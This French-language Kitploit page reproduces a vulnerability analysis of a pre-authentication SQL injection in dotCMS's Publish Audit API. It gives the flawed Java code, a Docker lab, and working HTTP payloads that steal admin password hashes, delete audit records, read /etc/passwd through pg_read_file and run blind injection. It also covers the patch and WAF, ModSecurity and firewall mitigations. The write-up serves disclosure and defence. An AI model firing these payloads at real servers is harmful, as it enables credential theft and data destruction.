Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8054 — Injection SQL pré-authentification dotCMS | Kitploit
Outils/GitHubGitHub/mr-xn/cve-2026-8054
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

Injection SQL pré-authentification dotCMS

Voir le dépôt
2il y a 3 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

1. Aperçu de la vulnérabilité

CVE-2026-8054 est une vulnérabilité d'injection SQL (SQL Injection) à haut risque, sans authentification, accessible publiquement (Pre-auth SQL Injection) présente dans l'API Publish Audit de dotCMS Core. Elle est officiellement suivie comme incident de sécurité SI-75 et a été officiellement collectée et divulguée à la fin du mois de mai 2026. Étant donné qu'un attaquant peut la déclencher à distance sans aucun privilège de compte, son danger potentiel est très grave.

Télécharger l’outil
PropriétéValeur
Identifiant CVECVE-2026-8054
Suivi officielSI-75
Type de vulnérabilitéInjection SQL (CWE-89)
Composant affectédotCMS Core - API Publish Audit
Score CVSS10.0 (Critique)
Versions affectées25.11.04-1 à 26.04.28-02
Version corrigée26.04.28-03
Vecteur d'attaqueInjection SQL à distance non authentifiée (Pre-auth)
Privilèges requisAucune authentification
Interaction utilisateurAucune
Impact sur les versions LTSNon affecté (la branche du code d'audit n'a pas été rétroportée dans l'arborescence LTS)

2. Détail du principe de la vulnérabilité

2.1 Nature de la vulnérabilité

La vulnérabilité existe dans les deux interfaces REST /api/auditPublishing/get et /api/auditPublishing/getAll. Lorsque ces interfaces reçoivent les paramètres de requête saisis par le client, aucun filtrage ni liaison paramétrée n'est effectué ; les requêtes SQL sont directement construites dynamiquement par concaténation de chaînes de caractères.

Plus critique encore, dotCMS a complètement omis les contrôles d'authentification et d'autorisation sur ces interfaces backend sensibles liées à l'audit. Cela signifie que tout attaquant distant sans identifiants, pourvu qu'il puisse accéder au système via le réseau, peut directement envoyer des requêtes HTTP contenant des payloads malveillants à ces interfaces.

2.2 Point d'entrée de la vulnérabilité

Chemin du fichier : dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

La vulnérabilité existe dans deux points de terminaison de l'API REST :

  • GET /api/auditPublishing/get/{bundleId} - Récupère le statut d'audit d'une publication individuelle
  • POST /api/auditPublishing/getAll - Récupère en masse les statuts d'audit de publication

Problème clé : avant le correctif, ces deux points de terminaison ne nécessitaient aucune authentification ; tout utilisateur anonyme pouvait y accéder directement.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【漏洞点】没有认证检查!直接调用后端API
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Code principal de la vulnérabilité

Chemin du fichier : dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Méthode : getPublishAuditStatuses(List<String> bundleIds) (lignes 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【漏洞点1】直接将用户输入拼接到SQL语句中
        // 仅添加单引号包裹,没有任何参数化或转义处理
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危险: 字符串拼接
            .collect(Collectors.toList());

        // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

Constante SQL (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Chemin de propagation des données contaminées

root@kitploit:~
graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Propagation des données contaminées : entrée utilisateur → API REST → traitement backend → construction SQL → exécution en base de données Défauts critiques : absence d'authentification + absence de paramétrage = injection SQL entièrement contrôlable

2.5 Analyse du principe de l'injection SQL

Supposons une entrée utilisateur bundleIds = ["x' OR '1'='1"]

SQL normal :

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL après injection :

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Comme '1'='1' est toujours vrai, cette requête renvoie tous les enregistrements de la table.

root@kitploit:~
graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. Analyse de l'impact et des risques

Un attaquant qui exploite avec succès cette vulnérabilité peut exécuter des commandes SQL arbitraires dans le contexte de l'utilisateur système de la base de données, entraînant les conséquences graves suivantes :

root@kitploit:~
graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Fuite de données sensibles

Grâce à l'injection SQL, un attaquant peut extraire les tables critiques de la base de données et obtenir :

  • Hash des mots de passe administrateur
  • Informations d'identification des utilisateurs
  • Jetons de réinitialisation
  • Informations de configuration système
  • Données de contenu du site web

Exemple de payload d'attaque - Récupération du mot de passe administrateur :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Altération et destruction de données

Un attaquant peut modifier, insérer ou supprimer arbitrairement dans la base de données :

  • Contenu du site web
  • Rôles et permissions des utilisateurs
  • Configuration système
  • Journaux d'audit

Exemple de payload d'attaque - Suppression des enregistrements d'audit :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 Élévation de privilèges et exécution de code à distance

Selon le type de base de données connectée en backend (PostgreSQL, MySQL, etc.) et les privilèges configurés, un attaquant peut, via le point d'injection, aller plus loin et réaliser :

  • Prise de contrôle du compte administrateur backend
  • Lecture/écriture du système de fichiers (via des fonctions de base de données)
  • Exécution de code à distance (RCE)

Exemple de payload d'attaque - Lecture de fichiers PostgreSQL :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 Analyse de la surface d'attaque

DimensionÉvaluation
Vecteur d'attaqueRéseau distant (Network)
Complexité de l'attaqueFaible (Low)
Conditions préalablesAucune (None)
Interaction utilisateurAucune (None)
Portée de l'impactModifiée (Changed)
Impact sur la confidentialitéÉlevé (High)
Impact sur l'intégritéÉlevé (High)
Impact sur la disponibilitéÉlevé (High)

4. Étapes de reproduction de la vulnérabilité

4.1 Configuration de l'environnement

root@kitploit:~
graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

Mise en place de l'environnement vulnérable avec Docker Compose :

docker-compose.yml :

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile :

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

Commande de démarrage :

root@kitploit:~
docker compose up -d
# 等待dotCMS初始化完成(约2-3分钟)
# 检查状态: docker compose logs -f dotcms

4.2 Validation de la vulnérabilité

Test 1 : Confirmer que le point de terminaison ne nécessite pas d'authentification

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

Réponse : 200 OK, renvoie un tableau vide [], prouvant que le point de terminaison est accessible sans authentification.

Test 2 : Injection SQL - Injection aveugle booléenne ✅ Validé

Principe de l'injection aveugle booléenne : déterminer si la condition d'injection est vraie ou fausse en observant les différences dans les codes de statut des réponses HTTP.

root@kitploit:~
graph TD
    subgraph 布尔盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|假条件| D["假条件 and 1=2"]

        C -->|返回数据| E["404 Not Found 有数据 NPE"]
        D -->|不返回数据| F["200 OK + 空数组 无数据正常"]

        E -->|分析| G["分析响应"]
        F -->|分析| G

        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
    note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]

Test de condition vraie (and 1=1) :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

Réponse : 404 Not Found

Test de condition fausse (and 1=2) :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

Réponse : 200 OK, renvoie []

Analyse de l'exécution SQL :

root@kitploit:~
-- 真条件: bundle_id匹配 且 1=1为真 -> 返回数据 -> 代码处理NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- 假条件: bundle_id匹配 但 1=2为假 -> 不返回数据 -> 空结果正常处理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

Principe de la différence de réponse :

ConditionRésultat SQLComportement du codeRéponse HTTP
and 1=1 (vrai)Renvoie les enregistrements correspondantsturnIntoPublishAuditStatus() lève une NullPointerException lors du traitement des données404
and 1=2 (faux)Ne renvoie aucun enregistrementLa liste vide est retournée normalement200 + []

Conclusion : via la différence de réponse 404/200, un attaquant peut déduire bit par bit toute information de la base de données (noms de tables, valeurs de champs, hash de mots de passe, etc.).

Test 3 : Injection SQL - Injection aveugle temporelle ✅ Validé

Principe de l'injection aveugle temporelle : déterminer si la condition d'injection est vraie ou fausse en observant les différences de temps de réponse.

root@kitploit:~
graph TD
    subgraph 时间盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
        B -->|传递| C["延时Payload SELECT pg_sleep N"]

        C -->|执行SQL| D["PostgreSQL"]
        D -->|调用| E["pg_sleep N 延时执行"]

        E -->|延时N秒| F["测量响应时间"]
        F -->|对比基线| G["分析延时差异"]
        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]

Test de délai de 3 secondes :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

Réponse : 200 OK, durée 3.02 secondes

Test de délai de 5 secondes :

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

Réponse : 200 OK, durée 5.01 secondes

Analyse de l'exécution SQL :

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

Comparaison des temps de réponse :

PayloadDélai attenduDurée réelleRésultat
Requête normale0 seconde0.03 seconde✅
pg_sleep(3)3 secondes3.02 secondes✅ Délai réussi
pg_sleep(5)5 secondes5.01 secondes✅ Délai réussi

Conclusion : en contrôlant le délai de réponse, un attaquant peut déduire bit par bit des informations de la base de données dans un scénario sans sortie directe (aveugle).


5. Analyse de la solution de correctif

5.1 Contenu du correctif PR #35553

root@kitploit:~
graph TD
    subgraph 修复方案
        subgraph 代码修复
            A[参数化查询<br/>使用占位符]
            B[认证增强<br/>Push Publish Token]
            C[输入验证<br/>null/空检查]
        end

        subgraph 修复效果
            D[防止SQL注入]
            E[限制未授权访问]
            F[防止空指针异常]
        end

        G[PR #35553]
        H[修复版本<br/>26.04.28-03]
    end

    G -->|实现| A
    G -->|实现| B
    G -->|实现| C

    A -->|参数绑定| D
    B -->|强制认证| E
    C -->|空值处理| F

    H -->|包含| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]

Correctif 1 : Requête paramétrée

Avant le correctif (code vulnérable) :

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

Après le correctif (code sécurisé) :

root@kitploit:~
// 新增: 空值检查
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// 使用参数化查询占位符
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // 参数绑定,防止SQL注入

Correctif 2 : Renforcement de l'authentification

Avant le correctif :

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // 无认证检查
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

Après le correctif :

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // 新增: Push Publish Token认证检查
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 返回401 Unauthorized
    }
    // ...
}

5.2 Principe du correctif

Mesure correctiveDescription
Requête paramétréeUtilisation de marqueurs ? à la place de la concaténation de chaînes ; la base de données gère automatiquement l'échappement des paramètres, ce qui empêche fondamentalement l'injection SQL
Renforcement de l'authentificationExige que les requêtes contiennent un jeton Push Publish valide, limitant l'accès aux seuls utilisateurs backend connectés disposant de la permission du composant publishing-queue
Validation des entréesAjout de contrôles null et de liste vide pour empêcher les exceptions de pointeur nul

5.3 Notes sur les versions affectées

  • Versions affectées : toutes les versions de développement agile / itération rapide de dotCMS Core entre 25.11.04-1 et 26.04.28-02
  • Versions non affectées : les versions LTS (support à long terme) ne sont pas affectées, car la branche du code d'audit concernée n'a jamais été rétroportée (backportée) dans l'arborescence LTS

6. Atténuations temporaires et recommandations de protection

Si vous ne pouvez pas mettre à niveau immédiatement vers la version corrigée, vous pouvez appliquer les mesures d'atténuation temporaires suivantes :

root@kitploit:~
graph TD
    subgraph 防护措施
        subgraph 网络层
            A[WAF规则拦截<br/>阻止/api/auditPublishing/]
            B[防火墙限制<br/>仅允许内网访问]
        end

        subgraph 应用层
            C[Nginx防护规则<br/>location拦截]
            D[ModSecurity规则<br/>SQL注入检测]
        end

        subgraph 数据层
            E[数据库权限限制<br/>最小权限原则]
            F[限制高危函数<br/>pg_read_file等]
        end

        G[升级到26.04.28-03<br/>根本解决方案]
    end

    A -.->|临时替代| G
    B -.->|临时替代| G
    C -.->|临时替代| G
    E -.->|降低影响| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]

6.1 Blocage par règles WAF

Configurez des politiques de contrôle d'accès sur le pare-feu applicatif (WAF) ou le proxy inverse afin de bloquer ou refuser directement les requêtes du réseau externe vers les chemins /api/auditPublishing/get et /api/auditPublishing/getAll.

Exemple de configuration des règles de protection Nginx

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# 拦截 Publish Audit API 请求
location ~ ^/api/auditPublishing/(get|getAll) {
    # 返回403禁止访问
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# 或者使用更宽松的方式,仅允许内网访问
location ~ ^/api/auditPublishing/(get|getAll) {
    # 允许内网IP段
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # 拒绝其他所有来源
    deny all;
}

# 针对SQL注入特征的WAF规则
location / {
    # 检测常见的SQL注入特征
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # 检测单引号注入
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

Exemple de règles WAF ModSecurity

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# 规则1: 拦截对漏洞端点的访问
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# 规则2: 检测SQL注入特征
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 Restreindre les privilèges de la base de données

Assurez-vous que le compte utilisé par dotCMS pour se connecter à la base de données respecte le principe des moindres privilèges :

root@kitploit:~
-- PostgreSQL 权限限制示例
-- 创建受限用户
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- 仅授予必要的表权限
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- 禁止创建/删除表
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- 禁止执行系统命令
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- 禁止读取文件
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 Protection au niveau réseau

root@kitploit:~
# 使用iptables限制对API端口的访问
# 仅允许内网访问8080端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. Résumé

root@kitploit:~
graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]

7.1 Causes racines de la vulnérabilité

  1. Absence de validation des entrées : l'entrée utilisateur est directement concaténée dans les requêtes SQL, sans aucun filtrage ni échappement
  2. Absence d'authentification : les points de terminaison API sont accessibles sans aucune authentification, exposant des fonctionnalités backend sensibles
  3. Absence de paramétrage : utilise la concaténation de chaînes au lieu de requêtes paramétrées, ce qui viole les meilleures pratiques de codage sécurisé

7.2 Évaluation de la surface d'attaque

  • Vecteur d'attaque : Réseau distant (Network)
  • Complexité de l'attaque : Faible (Low)
  • Conditions préalables : Aucune (None)
  • Interaction utilisateur : Aucune (None)
  • Score CVSS : 10.0 (Critique)

7.3 Priorités des recommandations de correctif

PrioritéMesureDescription
P0 - ImmédiatMettre à niveau vers dotCMS 26.04.28-03 ou une version ultérieureVersion officielle corrigée, résout le problème à la source
P1 - UrgentConfigurer des règles WAF pour bloquerMesure d'atténuation temporaire, bloque le trafic d'attaque
P2 - ImportantRestreindre les privilèges de la base de donnéesRéduit la portée de l'impact après exploitation
P3 - RecommandéAudit de sécurité des autres points de terminaisonVérifier l'existence de problèmes similaires

7.4 Notes sur les versions LTS

Les responsables indiquent que les versions LTS (support à long terme) ne sont pas affectées, car la branche du code d'audit concernée n'a jamais été rétroportée (backportée) dans l'arborescence LTS. Les utilisateurs des versions LTS n'ont pas besoin de mise à niveau urgente.


8. Références

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

Date de génération du rapport : 2026-06-08 Outils d'analyse : Docker, curl, PostgreSQL Version vulnérable : dotCMS 25.11.04-1 Version corrigée : dotCMS 26.04.28-03 (PR #35553)